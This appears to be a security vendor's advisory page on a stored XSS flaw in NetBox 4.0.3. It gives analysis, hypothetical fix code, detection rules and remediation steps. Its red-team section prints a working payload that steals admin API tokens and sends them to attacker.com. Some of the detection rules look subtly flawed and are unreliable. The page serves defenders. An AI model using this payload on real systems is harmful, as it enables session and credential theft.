CVE-2024-40730
Executive Summary
CVE-2024-40730 is a stored Cross-Site Scripting (XSS) vulnerability in NetBox v4.0.3, specifically within the interface editing functionality. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter at /dcim/interfaces/{id}/edit/. This payload is stored and executed in the browsers of other users who view the affected interface, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 4.8 (Medium), with a low attack complexity but requiring user interaction and low privileges. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NetBox is a Python/Django-based open-source application distributed via PyPI and GitHub. This vulnerability affects the core application logic, not a third-party package. However, organizations using NetBox should verify their deployment version and apply input sanitization as a temporary workaround.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a valid account with interface edit permissions.
- User Interaction (UI): Required (R) – Victim must view the malicious interface.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium – Exploitation requires authentication and user interaction, but stored XSS can lead to significant downstream attacks.
Deep Dive & Mechanics
The vulnerability resides in the dcim/views.py or similar view handling the interface edit form. The Name field is not properly sanitized or escaped before being stored in the database and later rendered in HTML. When a user visits /dcim/interfaces/{id}/edit/ or views the interface details, the malicious payload is executed in the context of the victim's session.
Attack Flow:
- Attacker logs in with a low-privilege account that has permission to edit interfaces.
- Attacker navigates to
/dcim/interfaces/{id}/edit/and injects a payload like<script>alert('XSS')</script>into theNamefield. - The payload is stored in the database without sanitization.
- When an administrator or other user views the interface list or detail page, the script executes.
- The attacker can steal cookies, perform actions on behalf of the victim, or deface the interface.
Root Cause: Lack of output encoding in the template rendering the Name field, combined with insufficient input validation.
Vulnerable vs. Patched Code
Vulnerable Code (NetBox v4.0.3):
# views.py (simplified)
class InterfaceEditView(generic.UpdateView):
model = Interface
fields = ['name', 'type', ...]
def form_valid(self, form):
# No sanitization of form.cleaned_data['name']
return super().form_valid(form)
Patched Code (Hypothetical fix):
# views.py (patched)
from django.utils.html import escape
class InterfaceEditView(generic.UpdateView):
model = Interface
fields = ['name', 'type', ...]
def form_valid(self, form):
# Sanitize input
form.instance.name = escape(form.cleaned_data['name'])
return super().form_valid(form)
Template Fix (Recommended):
<!-- interface_detail.html -->
<h1>{{ interface.name|escape }}</h1>
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- NetBox v4.0.3 instance
- Valid user account with
dcim.change_interfacepermission - Access to
/dcim/interfaces/{id}/edit/
Exploit Payload:
<script>fetch('/api/users/tokens/', {credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.com/steal',{method:'POST',body:JSON.stringify(d)}))</script>
Step-by-Step:
- Log in to NetBox as an attacker user.
- Navigate to an existing interface or create a new one.
- In the
Namefield, inject the payload above. - Save the interface.
- Wait for an admin to view the interface list or detail page.
- The admin's API tokens are exfiltrated to the attacker's server.
Lab Setup:
# Clone vulnerable version
git clone https://github.com/netbox-community/netbox.git
cd netbox
git checkout v4.0.3
# Install dependencies
pip install -r requirements.txt
# Run development server
python manage.py runserver 0.0.0.0:8000
Blue Team (Detection & Defense)
Detection Steps:
- Monitor logs for unusual
Namefield values containing<script>oronerrorattributes. - Review database entries for interfaces with HTML/JavaScript in the
namecolumn. - Use WAF rules to block XSS payloads in POST requests to
/dcim/interfaces/*/edit/.
Mitigation Workaround:
# Add to settings.py or middleware
import re
from django.http import HttpResponseBadRequest
class XSSSanitizationMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
if request.method == 'POST' and '/dcim/interfaces/' in request.path:
name = request.POST.get('name', '')
if re.search(r'<[^>]*script', name, re.I):
return HttpResponseBadRequest("XSS detected")
return self.get_response(request)
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections to unknown domains from NetBox server
- POST requests to
/dcim/interfaces/*/edit/containing<script>tags
Host IOCs:
- Database entries in
dcim_interfacetable withnamecolumn containing HTML/JavaScript - Log entries showing
nameparameter with suspicious characters
File IOCs:
- Modified templates with missing
|escapefilters - Custom middleware or views bypassing sanitization
Detection Engineering
YARA Rule
rule netbox_xss_cve_2024_40730 {
meta:
description = "Detects XSS payloads in NetBox interface name field"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-40730"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
$xss4 = /javascript\s*:/i
condition:
any of ($xss*)
}
Sigma Rule
title: NetBox XSS in Interface Name Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in NetBox interface name parameter
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-40730
logsource:
category: webserver
product: netbox
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/dcim/interfaces/'
cs-uri-query|contains: '/edit/'
cs-request-body|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in name field (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-40730 NetBox XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/dcim/interfaces/"; http_uri; content:"/edit/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; pcre:"/onerror\s*=\s*["']?[^"'\s>]+/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Sanitization: Add server-side validation to strip or escape HTML tags from the
Namefield. - Output Encoding: Ensure all templates use Django's
|escapefilter or{% autoescape on %}. - WAF Rules: Deploy web application firewall rules to block XSS payloads.
Long-Term Fix:
- Upgrade to a patched version once released (monitor NetBox GitHub releases).
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct code review of all user-input fields for similar vulnerabilities.
Workaround Code:
# In forms.py
from django import forms
from django.utils.html import escape
class InterfaceForm(forms.ModelForm):
class Meta:
model = Interface
fields = ['name', 'type', ...]
def clean_name(self):
name = self.cleaned_data['name']
return escape(name)
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.